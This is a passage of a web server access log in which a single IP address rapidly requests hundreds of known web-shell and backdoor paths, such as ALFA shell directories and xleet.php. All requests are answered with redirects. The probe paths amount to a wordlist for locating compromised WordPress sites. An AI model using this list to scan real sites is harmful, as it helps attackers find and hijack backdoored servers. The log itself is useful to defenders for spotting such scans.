[06/Apr/2025:07:13:20 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:21 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:22 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:22 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:23 -0400] "GET /wp-content/plugins/upspy/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:23 -0400] "GET /wp-includes/customize/Dj1Gk/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:24 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:24 -0400] "GET /.well-known/acme-challenge/classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:24 -0400] "GET /wp-content/themes/twentyseventeen/page/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:25 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:26 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:26 -0400] "GET /.well-known/pki-validation/content.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:26 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:27 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:28 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:28 -0400] "GET /status.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:28 -0400] "GET /wp-includes/aa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:29 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:29 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:29 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:29 -0400] "GET /menu-header.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:30 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:30 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:30 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:31 -0400] "GET /wp-includes/IXR/core.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:31 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:31 -0400] "GET /Casper.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:32 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:32 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:32 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:33 -0400] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:33 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:33 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:33 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:34 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:34 -0400] "GET /wp-admin/js//wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:34 -0400] "GET /wp-admin/css/colors/sunrise/item.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:35 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:35 -0400] "GET /wp-includes/blocks/pattern/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:35 -0400] "GET /wp-content/about.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:36 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:36 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:36 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:37 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:37 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:37 -0400] "GET /gallery_upload.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:37 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:38 -0400] "GET /.well-known/bek.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:38 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:38 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:39 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:39 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:39 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:39 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:40 -0400] "GET /Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:40 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:40 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:41 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:41 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:41 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:42 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:42 -0400] "GET /restart.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:42 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:43 -0400] "GET /assets/components/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:43 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:43 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:44 -0400] "GET /wp-content/plugins/fix/3.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:44 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:44 -0400] "GET /wp-content/uploads/BbUMY/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:44 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:45 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:45 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:45 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:46 -0400] "GET /restricted.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:46 -0400] "GET /wp-includes/Requests/about.php/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:46 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:46 -0400] "GET /.well-known/yrfjzewo.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:47 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:47 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:47 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:48 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:48 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:49 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:49 -0400] "GET /cgi-sys/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:49 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:49 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:50 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:50 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:50 -0400] "GET /wp-content/plugins/dmozhzr/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:50 -0400] "GET /.well-known/pki-validation/wp-scripts.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:51 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:51 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:51 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:52 -0400] "GET /malware.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:52 -0400] "GET /wp-content/plugins/iadjojm/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:52 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:52 -0400] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:53 -0400] "GET /wp-content/plugins/ubh/1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:53 -0400] "GET /wp-content/themes/index HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:53 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:54 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:54 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:54 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:54 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:55 -0400] "GET /wp-admin/plugins/config HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:55 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:56 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:56 -0400] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:56 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:57 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:57 -0400] "GET /wp-content/plugins/eblovwl/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:58 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:58 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/themes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:58 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:59 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:59 -0400] "GET /wp-includes/SimplePie/Cache/contents.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:00 -0400] "GET /wp-includes/Text/Diff/Engine/aaa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:00 -0400] "GET /wp-includes/wp-links.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:00 -0400] "GET /wp-content/themes/ccx/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:01 -0400] "GET /.well-known/uploads HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:01 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:02 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:02 -0400] "GET /wp-content/plugins/fcexjsk/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:02 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:03 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:03 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:04 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:04 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:04 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:05 -0400] "GET /wp/wp-includes/menu.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:05 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:05 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:06 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:06 -0400] "GET /rating.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:06 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:07 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:07 -0400] "GET /images/partner/partner/images/imgs/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:07 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:08 -0400] "GET /certificates/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:08 -0400] "GET /wp-content/plugins/gmxwbau/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:08 -0400] "GET /wp-content/uploads/2023/05/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:09 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:09 -0400] "GET /wp-content/plugins/import-users-from-csv-with-meta/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:09 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:10 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:10 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:11 -0400] "GET /wordpress/wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:11 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:11 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:11 -0400] "GET /wp-content/plugins/wp-mail-smtp/src/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:12 -0400] "GET /wp-admin/doc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:12 -0400] "GET /wp-content/plugins/dzs-zoomsounds/error_log_1210678535.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:13 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:13 -0400] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:13 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:14 -0400] "GET /email.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:14 -0400] "GET /wp-content/plugins/vmgbzgi/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:14 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:15 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:15 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:15 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:16 -0400] "GET /wp-includes/SimplePie/HdGGN/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:16 -0400] "GET /wp-content/plugins/placester/views/partials/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:16 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:17 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:17 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:17 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:18 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:18 -0400] "GET /wp/wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:19 -0400] "GET /token.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:19 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:19 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:20 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:20 -0400] "GET /assets/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:20 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:21 -0400] "GET /.tmb/LA.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:21 -0400] "GET /virus.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:21 -0400] "GET /images/sold/big/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:22 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:22 -0400] "GET /wp-admin/themes/setup HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:22 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:23 -0400] "GET /wp-admin/uploads/setup HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:23 -0400] "GET /wp-content/themes/kzdx3sro/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:23 -0400] "GET /reportes/wp-content/themes/e6rffsr5/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:24 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:24 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:24 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:25 -0400] "GET /wp-includes/random_compat/bala.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:25 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:26 -0400] "GET /wp-content/plugins/myhbidf/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:26 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:27 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:27 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:28 -0400] "GET /notification.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:28 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:28 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:29 -0400] "GET /wp-includes/style-engine/about.php/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:29 -0400] "GET /.well-known/cwianpri.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:30 -0400] "GET /ALFA_DATA/alfacgiapi/shell.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:30 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:31 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:31 -0400] "GET /delete.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:32 -0400] "GET /support.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:32 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:32 -0400] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:33 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:33 -0400] "GET /wp-content/plugins/fjfmham/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:33 -0400] "GET /wp-content/plugins/setup HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:34 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:34 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:34 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:35 -0400] "GET /checkout.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:35 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:36 -0400] "GET /wp-includes/gCdfg/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:36 -0400] "GET /wp-content/plugins/trfree/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:36 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:36 -0400] "GET /wp-content/plugins/npqzdpk/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:37 -0400] "GET /permissions.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:37 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:37 -0400] "GET /home/bmlfvgdl.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:38 -0400] "GET /wp-content/uploads/2014/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:38 -0400] "GET /templates/beez3/1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:39 -0400] "GET /backup/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:39 -0400] "GET /maintenance/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:39 -0400] "GET /bypass.php 